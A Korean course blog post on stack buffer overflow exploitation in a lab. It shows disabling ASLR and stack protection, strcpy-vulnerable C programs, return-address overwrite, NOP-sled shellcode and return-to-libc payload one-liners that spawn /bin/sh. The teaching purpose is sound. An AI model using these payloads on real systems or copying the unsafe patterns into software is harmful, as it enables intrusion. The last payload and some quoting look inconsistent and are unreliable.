본문 바로가기

Kitri_NCS3기 보안과정/시스템 해킹

170516 오버플로우를 이용한 RET 변조

메모리 보호 옵션


sudo apt-get install g++-multilib libc6-dev-i386


sudo sysctl -w kernel.randomize_va_space=0 // 랜덤 스택, 라이브러리 해제


gcc -m32 -o a a.c -fno-stack-protector -mpreferred-stack-boundary=2 // SSP 기능 해제 , 더미없애기



참고 :http://bbolmin.tistory.com/81


1. 더미 value + 실행 코드 주소(ret)

#include <stdio.h>

#include <string.h>


void print(){

 printf("eip control success!\n");   ← 정상적인 동작이면 이 함수를 실행할 일이 없다. 

                                                    오버플로우를 이용하여 ret를 변조하고 이 함수가 출력되게 하자

int main(int argc, char* argv[]){

 int i = 31337;

 int a = 1337;

 char buffer[100];

 strcpy(buffer, argv[1]);

 printf("%s\n", buffer); 

 return 0; 

}

오버플로우로 ret에 들어가는 값을 바꾸기위해서는 메모리에 쌓이는 모습을 분석해 봐야 한다. 

GDB로 확인 해볼때 값이 입력되는 때의 메모리의 상태. 

strcpy함수를 호출하고 난 후 esp가 복귀했을 때를 살펴보자

 


 

 

buff 

↖esp
 





 a

 

 i

 

 SFP

↖ebp

 ret

 

 argc

 

 argv

 

 

 

 

strcpy를 수행하고 난 후의 모습이다.





 

 

buff 

↖esp
 





 a

 

 i

 

 SFP

↖ebp

 ret

 

 argc

 

 argv

 

 

 


esp에서부터 ebp의 사이즈를 구하고 SFT까지 더미값을 채워준다 

 


 

 

더미 값


 





 

 



ret = print()

 → eip control success! 출력

 argc

 

 argv

 

 



ret에 실행 코드의 주소를 넣으면 ret에서 우리가 원하는 곳으로 점프를 할 것이다.




ebp와 esp 의 차이는 0xffffd0e8 - 0xffffd07c = 108 이다.


buffer(100) + a(4) + i(4) = 108


ret 까지 도달하려면 SFT까지 더해줘야하기 때문에, 더미의 양안 108+4 = 112 의 크기를 넣어주어야 한다. 


더미의 크기 = 112


ret에 print 의 주소를 넣어야 하기때문에 print()의 주소 확인


실행할때 더미값과 함께 주소를 얹어주면



print함수가 출력된걸 확인. 


원래 정상적으로 동작하면 print 는 실행해선 안된다.

이런 방법으로 ret의 주소를 이용해 원하는 코드가 있는곳으로 유도해서 공격하는 기법이다.


2. nop(\x90) + shell code


※ shell code : 코드 인젝션 , 즉 프로그램 내에 삽입되는 작은 코드. 공격자가 명령 셸을 제어할 수 있게 해줌

참고 : https://en.wikipedia.org/wiki/Shellcode


int main(int argc, char* argv[]){ 

 char buffer[256];

 strcpy(buffer, argv[1]);

 printf("%s\n", buffer);

 return 0; 

}



 

 

buff 

↖esp
 





 SFP

↖ebp

 ret

 

 argc

 

 argv

 

 



strcpy를 수행하고 난 후의 모습.



 

 

nop(\x90)

↖esp
 





shell code

↖ebp

 ret(argv or nop)

 →nop 영역으로 점프해서 shell code 실행

 argc

 

 argv

 

 

 * nop (\x90) : 다음 명령을 만날때 까지 패스

 


./bigbof01 'Python -c 'print "\x90"*237 + "쉘코드(23byte)" + "nop영역 안의 주소"


nop+쉘코드를 쌓아주고 nop 영역 내의 주소를 ret부분에 지정해주면 nop 영역으로 간 eip가 shellcode를 만날 때 까지 진행할 것이고 shellcode를 실행할 것이다. 


3. RTL (Return to Libc)

: Shell code 없이 Exploit 하는것. RET 부분에 공유라이브러리의 주소를 덮어씌우는것이 핵심이다.

함수는 호출되고나서 인자부분 호출하는 방식을 이용하여 호출하는 인자부분을 /bin/sh를 넣어서 실행할 것이다.


 char bin[8] = “/bin/sh";


 int main(int argc, char* argv[]){ 

 char buffer[8];

 printf("/bin/sh addr : 0x%x\n", bin);

 strcpy(buffer, argv[1]);

 printf("%s\n", buffer); return 0;

 }

컴파일 후 실행 시켜보면 \bin\sh 의 주소를 보여줄것이다.



 

 

 

buff 

↖esp
 





 SFP

↖ebp

 ret

 

 argc

 

 argv

 

 




esp 와 ebp로 buff의 크기를 알 수 있다. 




 

 

더미 값

↖esp
 





↖ebp

 ret (= sys() 주소)

 

더미 값

 

/bin/sh

 

 



 더미값을 구해낸 크기만큼 덮어주고 ret로 sys()로 들어간다.

이때 argv →/bin/sh 부분은 호출된 sys()의 인자 영역이기 때문에 

sys()은 /bin/sh를 인자로 사용하기위해 가져오는데 이때 /bin/sh가 실행된다.



system으로 가기위한 주소는 브레이킹 포인트를 아무데나 찍고 r 로 실행시켜준후 p system으로 주소를 알아 낼 수 있다.

python -c 'print "a"*12 + "\x40\x29\xe4\xf7"+"AAAA"+"\x40\x29\xe4\xf7"


변조 성공